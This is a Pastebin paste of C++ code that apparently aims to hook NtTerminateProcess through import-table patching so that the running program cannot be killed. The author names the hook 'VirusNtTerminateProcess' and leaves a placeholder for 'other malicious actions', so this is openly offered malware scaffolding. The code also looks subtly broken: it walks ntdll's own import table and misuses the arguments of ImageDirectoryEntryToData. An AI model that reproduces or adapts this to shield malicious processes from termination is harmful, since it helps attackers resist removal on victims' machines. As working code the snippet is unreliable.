HaoAsakura

[snippet] NtTerminateProcess hook (IAT)

Jan 20th, 2023
845
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.89 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <winternl.h>
  3.  
  4. typedef NTSTATUS (NTAPI* FN_NtTerminateProcess)(HANDLE ProcessHandle, NTSTATUS ExitStatus);
  5. FN_NtTerminateProcess OriginalNtTerminateProcess;
  6.  
  7. NTSTATUS NTAPI VirusNtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
  8.     if (ProcessHandle == GetCurrentProcess()) {
  9.         return STATUS_ACCESS_DENIED;
  10.     }
  11.     return OriginalNtTerminateProcess(ProcessHandle, ExitStatus);
  12. }
  13.  
  14. BOOL HookNtTerminateProcess() {
  15.     HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
  16.     if (!hNtdll) {
  17.         return FALSE;
  18.     }
  19.  
  20.     OriginalNtTerminateProcess = (FN_NtTerminateProcess)GetProcAddress(hNtdll, "NtTerminateProcess");
  21.     if (!OriginalNtTerminateProcess) {
  22.         return FALSE;
  23.     }
  24.  
  25.     DWORD oldProtect;
  26.     PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(hNtdll, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &oldProtect);
  27.     if (!pImportDesc) {
  28.         return FALSE;
  29.     }
  30.     while (pImportDesc->Name) {
  31.         PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hNtdll + pImportDesc->FirstThunk);
  32.         while (pThunk->u1.Function) {
  33.             if (pThunk->u1.Function == (ULONG_PTR)OriginalNtTerminateProcess) {
  34.                 DWORD dwOldProtect;
  35.                 VirtualProtect(&pThunk->u1.Function, sizeof(pThunk->u1.Function), PAGE_EXECUTE_READWRITE, &dwOldProtect);
  36.                 pThunk->u1.Function = (ULONG_PTR)VirusNtTerminateProcess;
  37.                 VirtualProtect(&pThunk->u1.Function, sizeof(pThunk->u1.Function), dwOldProtect, &dwOldProtect);
  38.                 return TRUE;
  39.             }
  40.             pThunk++;
  41.         }
  42.         pImportDesc++;
  43.     }
  44.     return FALSE;
  45. }
  46.  
  47. int main() {
  48.     if (!HookNtTerminateProcess()) {
  49.         //Handle error
  50.     }
  51.     // Do other malicious actions here
  52.  
  53.     // Wait for the user to close the program
  54.     system("pause");
  55.     return 0;
  56. }
Advertisement
Add Comment
Please, Sign In to add comment